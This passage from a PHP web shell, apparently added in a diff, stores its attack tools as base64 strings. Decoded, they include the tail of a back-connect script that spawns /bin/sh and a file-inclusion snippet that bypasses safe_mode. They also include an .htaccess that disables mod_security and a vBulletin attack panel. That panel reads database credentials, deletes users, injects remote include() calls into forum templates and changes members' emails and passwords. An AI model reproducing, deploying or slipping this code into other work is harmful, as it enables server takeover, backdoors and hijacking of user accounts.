cyAxLjAgYnkgU25JcEVyX1NBIHNuaXBlci1zYS5jb20gPT0tLSAgXG5cbiI7IA0Kc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gLS09PVN5c3RlbWluZm89PS0tIDsgdW5hbWUgLWE7ZWNobzsNCmVjaG8gLS09PVVzZXJpbmZvPT0tLSA7IGlkO2VjaG87ZWNobyAtLT09RGlyZWN0b3J5PT0tLSA7IHB3ZDtlY2hvOyBlY2hvIC0tPT1TaGVsbD09LS0gIik7IA0KICBleGVjIHsnL2Jpbi9zaCd9ICctYmFzaCcgLiAiXDAiIHggNDsNCiAgZXhpdCgwKTsNCn0="; +$egy_ini="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4="; +$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+"; +$egy_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZWd5Il0pOw0KPz4="; +$egy_vb="DQo8aHRtbD48aGVhZD48dGl0bGU+RWdZIFNwSWRFciA8L3RpdGxlPg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCnRyIHsNCkJPUkRFUi1SSUdIVDogICNkYWRhZGEgOw0KQk9SREVSLVRPUDogICAgI2RhZGFkYSA7DQpCT1JERVItTEVGVDogICAjZGFkYWRhIDsNCkJPUkRFUi1CT1RUT006ICNkYWRhZGEgOw0KY29sb3I6ICNmZmZmZmY7DQp9DQp0ZCB7DQpCT1JERVItUklHSFQ6ICAjZGFkYWRhIDsNCkJPUkRFUi1UT1A6ICAgICNkYWRhZGEgOw0KQk9SREVSLUxFRlQ6ICAgI2RhZGFkYSA7DQpCT1JERVItQk9UVE9NOiAjZGFkYWRhIDsNCmNvbG9yOiAjZGFkYWRhOw0KfQ0KLnRhYmxlMSB7DQpCT1JERVI6IDE7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICMzMzMzMzM7DQp9DQoudGQxIHsNCkJPUkRFUjogMTsNCmZvbnQ6IDdwdCB0YWhvbWE7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCi50cjEgew0KQk9SREVSOiAxOw0KY29sb3I6ICNkYWRhZGE7DQp9DQp0YWJsZSB7DQpCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOw0KY29sb3I6ICNkYWRhZGE7DQp9DQppbnB1dCB7DQpCT1JERVItUklHSFQ6ICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItVE9QOiAgICAjMDBGRjAwIDEgc29saWQ7DQpCT1JERVItTEVGVDogICMwMEZGMDAgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMwMEZGMDAgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiA5cHQgdGFob21hOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpzZWxlY3Qgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmZvbnQ6IDlwdCB0YWhvbWE7DQpjb2xvcjogI2RhZGFkYTs7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDEgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsNCndpZHRoOiA0MCU7DQpjb2xvcjogI2RhZGFkYTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICNmZmZmZmYgMSBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMSBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNmZmZmZmYgMSBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMzMzMzMzM7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNmZmZmZmY7DQp9DQpCT0RZIHsNCm1hcmdpbjogMTsNCmNvbG9yOiAjZGFkYWRhOw0KYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCn0NCkE6bGluayB7Q09MT1I6cmVkOyBURVhULURFQ09SQVRJT046IG5vbmV9DQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6YWN0aXZlIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6aG92ZXIge2NvbG9yOmJsdWU7VEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KDQo8L1NUWUxFPg0KPC9oZWFkPg0KIDxib2R5IGJnY29sb3I9IiMwMDAwMDAiIHRleHQ9ImxpbWUiIGxpbms9ImxpbWUiIHZsaW5rPSJsaW1lIj4NCiA8Y2VudGVyPg0KPD8NCiRhY3QgPSAkX0dFVFsnYWN0J107DQppZigkYWN0PT0ncmVjb25maWcnICYmIGlzc2V0KCRfUE9TVFsncGF0aCddKSkNCnsNCiRwYXRoID0gJF9QT1NUWydwYXRoJ107DQppbmNsdWRlICRwYXRoOw0KPz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dGg+Ojo6OlJlYWQgQ29uZmlnIERhdGE6Ojo6PC90aD48dGg+PD8gZWNobyAnPGZvbnQgY29sb3I9eWVsbG93PicgLiAkcGF0aCAuICc8L2ZvbnQ+JzsgPz48L3RoPg0KPHRyPg0KPHRoPkhvc3QgOiA8L3RoPjx0aD48PyBlY2hvICc8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRjb25maWdbJ01hc3RlclNlcnZlciddWydzZXJ2ZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+VXNlciA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+UGFzcyA6IDwvdGg+PHRoPjw/DQokcGFzc3NxbCA9ICRjb25maWdbJ01hc3RlclNlcnZlciddWydwYXNzd29yZCddOw0KaWYgKCRwYXNzc3FsID09ICcnKQ0Kew0KJHJlc3VsdCA9ICc8Zm9udCBjb2xvcj1yZWQ+Tm8gUGFzc3dvcmQ8L2ZvbnQ+JzsNCn0gZWxzZSB7DQokcmVzdWx0ID0gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJHBhc3NzcWwgLiAnPC9mb250Pic7DQp9DQplY2hvICRyZXN1bHQ7ID8+PC90aD4NCjwvdHI+DQo8dHI+DQo8dGg+TmFtZSA6IDwvdGg+PHRoPjw/IGVjaG8gJzxmb250IGNvbG9yPXllbGxvdz4nIC4gJGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gLiAnPC9mb250Pic7ID8+PC90aD4NCjwvdHI+DQo8L3RhYmxlPg0KPD8NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImRlbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdkZWxldGUgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcikNCnsNCmVjaG8gJzxmb250IGNvbG9yPXllbGxvdz5Vc2VyIDogJyAuICR2YnVzZXIgLiAnIHdhcyBkZWxldGVkPC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlVzZXIgOiAnIC4gJHZidXNlciAuICcgY291bGQgbm90IGJlIGRlbGV0ZWQ8L2ZvbnQ+JzsNCn0NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09InNoZWxsIiAgJiYgaXNzZXQoJF9QT1NUWyd2YXInXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmFyID0gJF9QT1NUWyd2YXInXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRXZHQgPSAnVVBEQVRFIGB0ZW1wbGF0ZWAgU0VUIGB0ZW1wbGF0ZWAgPSBcJyAiLnByaW50IGluY2x1ZGUoJEhUVFBfR0VUX1ZBUlNbJyAuICR2YXIgLiAnXSkuIiBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgIi5wcmludCBpbmNsdWRlKCRIVFRQX0dFVF9WQVJTWycgLiAkdmFyIC4gJ10pLiIgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkRvbmUgRXhwbG9pdC48L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fWVsc2V7DQplY2hvICI8cD5FcnJvcjwvcD4iO30NCiRyZXN1bHQxPW15c3FsX3F1ZXJ5KCRXZHQyKTsNCiAgaWYgKCRyZXN1bHQxKSB7IGVjaG8gIjxwPkRvbmUgQ3JlYXRlIEZpbGU8L3A+PGJyPlVzZSB0aGlzIDogPGJyPiBpbmRleC5waHA/IiAuICR2YXIgLiAiPXNoZWxsLnR4dCI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnZGInXSkgJiYgJGFjdD09ImNvZGUiICAmJiBpc3NldCgkX1BPU1RbJ2NvZGUnXSkpDQp7DQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokaW5kZXggPSAkX1BPU1RbJ2NvZGUnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRpbmRleCA9ICRfUE9TVFsnYiddOw0KJFdkdCA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnICcgLiAkaW5kZXggLiAnICBcJ1dIRVJFIGB0aXRsZWAgPVwnRk9SVU1IT01FXCc7JzsNCiRXZHQyPSAnVVBEQVRFIGBzdHlsZWAgU0VUIGBjc3NgID0gXCcgJyAuICRpbmRleCAuICcgXCcsIGBzdHlsZXZhcnNgID0gXCdcJywgYGNzc2NvbG9yc2AgPSBcJ1wnLCBgZWRpdG9yc3R5bGVzYCA9IFwnXCcgOyc7DQokcmVzdWx0PW15c3FsX3F1ZXJ5KCRXZHQpOw0KICBpZiAoJHJlc3VsdCkge2VjaG8gIjxwPkluZGV4IHdhcyBDaGFuZ2VkIFN1Y2NlZnVsbHk8L3A+Ijt9ZWxzZXsNCmVjaG8gIjxwPkZhaWxlZCB0byBjaGFuZ2UgaW5kZXg8L3A+Ijt9DQokcmVzdWx0MT1teXNxbF9xdWVyeSgkV2R0Mik7DQppZiAoJHJlc3VsdDEpIHtlY2hvICI8cD5Eb25lIENyZWF0ZSBGaWxlPC9wPiI7fSBlbHNleyBlY2hvICI8cD5FcnJvcjwvcD4iO30NCn0NCg0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0iaW5jIiAgJiYgaXNzZXQoJF9QT1NUWydsaW5rJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZibGluayA9ICRfUE9TVFsnbGluayddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJGhhY2sxNSA9ICdVUERBVEUgYHRlbXBsYXRlYCBTRVQgYHRlbXBsYXRlYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuICdcJ1wnKX19eyR7ZXhpdCgpfX0mDQokX3BocGluY2x1ZGVfb3V0cHV0XCdXSEVSRSBgdGl0bGVgID1cJ0ZPUlVNSE9NRVwnOyc7DQokaGFjaz0gJ1VQREFURSBgc3R5bGVgIFNFVCBgY3NzYCA9IFwnJHNwYWNlcl9vcGVuDQp7JHtpbmNsdWRlKFwnXCcnIC4gJHZibGluayAuJ1wnXCcpfX17JHtleGl0KCl9fSYNCiRfcGhwaW5jbHVkZV9vdXRwdXRcJywgYHN0eWxldmFyc2AgPSBcJ1wnLCBgY3NzY29sb3JzYCA9IFwnXCcsIGBlZGl0b3JzdHlsZXNgID0gXCdcJyA7JzsNCiRyZXN1bHQ9bXlzcWxfcXVlcnkoJGhhY2sxNSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KJHJlc3VsdD1teXNxbF9xdWVyeSgkaGFjaykgb3IgZGllKG15c3FsX2Vycm9yKCkpOw0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibWFpbCIgICYmIGlzc2V0KCRfUE9TVFsndmJ1c2VyJ10pICAmJiBpc3NldCgkX1BPU1RbJ3ZibWFpbCddKSkNCnsNCiAkaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgPSAkX1BPU1RbJ2RiJ107DQokdmJ1c2VyID0gJF9QT1NUWyd2YnVzZXInXTsNCiR2Ym1haWwgPSAkX1BPU1RbJ3ZibWFpbCddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBlbWFpbD0iJyAuICR2Ym1haWwgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBFLU1BSUwgb2YgdGhlIHVzZXIgPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZidXNlciAuICc8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93PiB3YXMgY2hhbmdlZCB0byA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPicgLiAkdmJtYWlsIC4gJzwvZm9udD48YnI+QmFjayB0byA8YSBocmVmPSI/Ij5TaGVsbDwvYT48L2ZvbnQ+JzsNCn0gZWxzZSB7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9cmVkPkZhaWxlZCB0byBjaGFuZ2UgRS1NQUlMPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0icHN3IiAgJiYgaXNzZXQoJF9QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIH